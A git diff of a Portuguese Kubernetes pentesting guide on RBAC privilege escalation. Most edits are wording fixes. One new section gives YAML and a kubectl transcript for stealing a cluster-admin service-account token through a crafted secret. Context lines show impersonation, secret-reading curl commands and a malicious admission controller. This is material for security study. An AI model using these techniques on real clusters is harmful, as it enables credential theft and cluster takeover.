diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 432bf72de..2b697cc63 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,4 +1,4 @@ -# Abusando de Roles/ClusterRoles no Kubernetes +# Abusing Roles/ClusterRoles in Kubernetes {{#include ../../../banners/hacktricks-training.md}} @@ -7,17 +7,17 @@ Lembre-se de que você pode obter todos os recursos suportados com `kubectl api- ## **Escalada de Privilégios** -Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster kubernetes ou para nuvens externas) dos que você já possui, no Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**: +Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster kubernetes ou para nuvens externas) do que os que você já possui, no Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**: - Ser capaz de **impersonar** outros usuários/grupos/SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas - Ser capaz de **criar/patch/exec pods** onde você pode **encontrar ou anexar SAs** com melhores privilégios dentro do cluster kubernetes ou para nuvens externas -- Ser capaz de **ler segredos** já que os tokens das SAs são armazenados como segredos +- Ser capaz de **ler segredos** já que os tokens dos SAs são armazenados como segredos - Ser capaz de **escapar para o nó** a partir de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver) - Uma quinta técnica que merece menção é a capacidade de **executar port-forward** em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod. -### Acessar Qualquer Recurso ou Verbo (Coringa) +### Acessar Qualquer Recurso ou Verbo (Curinga) -O **coringa (\*) dá permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster +O **curinga (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -31,7 +31,7 @@ verbs: ["*"] ``` ### Acessar Qualquer Recurso com um verbo específico -No RBAC, certas permissões apresentam riscos significativos: +Em RBAC, certas permissões apresentam riscos significativos: 1. **`create`:** Concede a capacidade de criar qualquer recurso de cluster, arriscando a escalada de privilégios. 2. **`list`:** Permite listar todos os recursos, potencialmente vazando dados sensíveis. @@ -136,7 +136,7 @@ Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pod - **hostNetwork** - **hostIPC** -_Você pode encontrar exemplos de como criar/abusar das configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Você pode encontrar um exemplo de como criar/abusar das configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Mover para a nuvem @@ -151,7 +151,7 @@ pod-escape-privileges.md ### **Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs** -É possível abusar dessas permissões para **criar um novo pod** e estabelecer privilégios como no exemplo anterior. +É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior. O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod: ```yaml @@ -239,15 +239,15 @@ Se você tiver sorte e a capacidade altamente privilegiada `CAP_SYS_ADMIN` estiv ```bash mount -o rw,remount /hostlogs/ ``` -#### Bypassando a proteção readOnly do hostPath +#### Bypassing hostPath readOnly protection -Conforme declarado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção: +Como afirmado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Que visava prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável: +Que tinha como objetivo prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável: ```yaml apiVersion: v1 kind: PersistentVolume @@ -293,11 +293,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Imitação de contas privilegiadas** +### **Impersonando contas privilegiadas** -Com um privilégio de [**imitação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia imitar uma conta privilegiada. +Com um privilégio de [**impersonação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada. -Basta usar o parâmetro `--as=` no comando `kubectl` para imitar um usuário, ou `--as-group=` para imitar um grupo: +Basta usar o parâmetro `--as=` no comando `kubectl` para se passar por um usuário, ou `--as-group=` para se passar por um grupo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -316,9 +316,72 @@ A permissão para **listar segredos pode permitir que um atacante realmente leia ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` +### Criando e Lendo Segredos + +Há um tipo especial de segredo do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount. Se você tiver permissões para criar e ler segredos, e também souber o nome do serviceaccount, você pode criar um segredo da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele: +```yaml +apiVersion: v1 +kind: Secret +metadata: +name: stolen-admin-sa-token +namespace: default +annotations: +kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` +Exemplo de exploração: +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) + +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] +[/.well-known/openid-configuration/] [] [get] + +[/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ +"apiVersion": "v1", +"data": { +"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", +"namespace": "ZGVmYXVsdA==", +"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" +}, +"kind": "Secret", +"metadata": { +"annotations": { +"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", +"kubernetes.io/service-account.name": "cluster-admin-sa", +"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" +}, +"creationTimestamp": "2025-01-11T13:02:27Z", +"name": "stolen-admin-sa-token", +"namespace": "default", +"resourceVersion": "1019116", +"uid": "680d119f-89d0-4fc6-8eef-1396600d7556" +}, +"type": "kubernetes.io/service-account-token" +} +``` +Note que se você tiver permissão para criar e ler segredos em um determinado namespace, a serviceaccount da vítima também deve estar nesse mesmo namespace. + ### Lendo um segredo – força bruta em IDs de token -Enquanto um atacante na posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de _**listar segredos**_, ainda existem vulnerabilidades. Contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o [código-fonte](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Enquanto um atacante em posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de _**listar segredos**_, ainda existem vulnerabilidades. As contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o [código-fonte](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis. @@ -326,7 +389,7 @@ O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklm Se você tiver os verbos **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`). Você pode **criar** um novo CeSR de um **novo nó.** -De acordo com a [documentação, é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Se não, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `/` ou `/*` +De acordo com a [documentação, é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `/` ou `/*` Um **exemplo de um papel** com todas as permissões necessárias é: ```yaml @@ -359,9 +422,9 @@ resourceNames: verbs: - approve ``` -Então, com o novo CSR de nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**. +Então, com o novo CSR do nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**. -Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios roubando segredos.\ +Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**neste aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios ao roubar segredos.\ Se você **tiver os privilégios mencionados, poderá fazer a mesma coisa**. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um **nó só pode acessar os segredos dos contêineres montados nele.** A maneira de contornar isso é apenas **criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado** (mas apenas verifique como fazer isso no primeiro post): @@ -371,7 +434,7 @@ A maneira de contornar isso é apenas **criar credenciais de nó para o nome do ### AWS EKS aws-auth configmaps Os principais que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster ao sobrescrever o **aws-auth** configmap.\ -Os verbos necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não foi criado: +Os verbos necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não tiver sido criado: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -422,9 +485,9 @@ Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualq > [!WARNING] > Ao se comunicar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **acesso via GCP IAM**.\ -> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo dar **permissões via GCP IAM** será fornecido. +> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo dar **permissões via GCP IAM** será apresentado. -Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes do GCP IAM**, e se o principal as tiver, poderá usá-las. +Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes no GCP IAM**, e se o principal as tiver, poderá usá-las. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md @@ -444,22 +507,22 @@ Principais que podem **`atualizar`** ou **`patch`** **`pods/ephemeralcontainers` Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**. -Para um [exemplo de `mutatingwebhookconfigurations`, confira esta seção deste post](./#malicious-admission-controller). +Para um [exemplo de `mutatingwebhookconfigurations`, confira esta seção deste post](#malicious-admission-controller). ### Escalar -Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](./#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**.\ -Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que ele possui. +Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**.\ +Então ele pode atualizar/criar novas roles, clusterroles com permissões melhores do que as que possui. ### Proxy de nós -Principais com acesso ao sub-recurso **`nodes/proxy`** podem **executar código em pods** via a API Kubelet (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação Kubelet nesta página: +Principais com acesso ao sub-recurso **`nodes/proxy`** podem **executar código em pods** via a API Kubelet (de acordo com [**isto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação Kubelet nesta página: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Você tem um exemplo de como obter [**RCE falando autorizado a uma API Kubelet aqui**](../pentesting-kubernetes-services/#kubelet-rce). +Você tem um exemplo de como obter [**RCE falando autorizado a uma API Kubelet aqui**](../pentesting-kubernetes-services/index.html#kubelet-rce). ### Deletar pods + nós não agendáveis @@ -476,35 +539,35 @@ kubectl delete pods -n kube-system ``` ### Status dos serviços (CVE-2020-8554) -Princípios que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar o **CVE-2020-8554 não corrigido** e lançar **ataques MiTM contra o cluster**. A maioria das mitig ações para o CVE-2020-8554 apenas previne serviços ExternalIP (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Principais que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar o **CVE-2020-8554 não corrigido** e lançar **ataques MiTM contra o clus**ter. A maioria das mitig ações para o CVE-2020-8554 apenas previne serviços ExternalIP (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Status de Nós e Pods -Princípios com permissões de **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status`, poderiam modificar rótulos para afetar as restrições de agendamento impostas. +Principais com permissões de **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status`, poderiam modificar rótulos para afetar as restrições de agendamento impostas. ## Prevenção de Escalação de Privilégios Integrada -Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalação de privilégios. +Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalada de privilégios. -Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo. +Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma salvaguarda mesmo quando o autorizer RBAC está inativo. A regra estipula que um **usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles. > [!WARNING] -> Há uma exceção à regra anterior. Se um princípio tem o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**, ele pode aumentar os privilégios de funções e clusterroles mesmo sem ter as permissões ele mesmo. +> Há uma exceção à regra anterior. Se um principal tem o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**, ele pode aumentar os privilégios de roles e clusterroles mesmo sem ter as permissões. ### **Obter & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Aparentemente, essa técnica funcionou antes, mas de acordo com meus testes, não está mais funcionando pela mesma razão explicada na seção anterior. Você não pode criar/modificar um rolebinding para dar a si mesmo ou a um SA diferente alguns privilégios se você não os tiver já.** +> **Aparentemente, essa técnica funcionou antes, mas de acordo com meus testes, não está mais funcionando pela mesma razão explicada na seção anterior. Você não pode criar/modificar um rolebinding para dar a si mesmo ou a um SA diferente alguns privilégios se você não os tiver.** -O privilégio de criar Rolebindings permite que um usuário **vincule funções a uma conta de serviço**. Este privilégio pode potencialmente levar à escalação de privilégios porque **permite que o usuário vincule privilégios de administrador a uma conta de serviço comprometida.** +O privilégio de criar Rolebindings permite que um usuário **vincule funções a uma conta de serviço**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite que o usuário vincule privilégios de administrador a uma conta de serviço comprometida.** ## Outros Ataques ### Aplicativo proxy Sidecar -Por padrão, não há nenhuma criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod. +Por padrão, não há criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod. #### Criar um aplicativo proxy Sidecar @@ -552,9 +615,9 @@ Mais informações em: [https://kubernetes.io/docs/tasks/configure-pod-container ### Controlador de Admissão Malicioso -Um controlador de admissão **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **após a solicitação ser autenticada** **e autorizada**. +Um controlador de admissões **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**. -Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente obter privilégios elevados e, mais comumente, persistir no cluster. +Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente escalar privilégios e, mais comumente, persistir no cluster. **Exemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -575,14 +638,14 @@ Então, implante um novo pod: kubectl run nginx --image nginx kubectl get po -w ``` -Quando você pode ver o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas: +Quando você vê o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que acabou de acontecer!!? +Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que aconteceu!!? #### Technicalities @@ -611,7 +674,7 @@ O trecho acima substitui a primeira imagem do contêiner em cada pod por `rewant ### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings** -- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter uma segurança rigorosa. +- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa. ### **Papéis Específicos de Namespace em vez de Papéis de Cluster**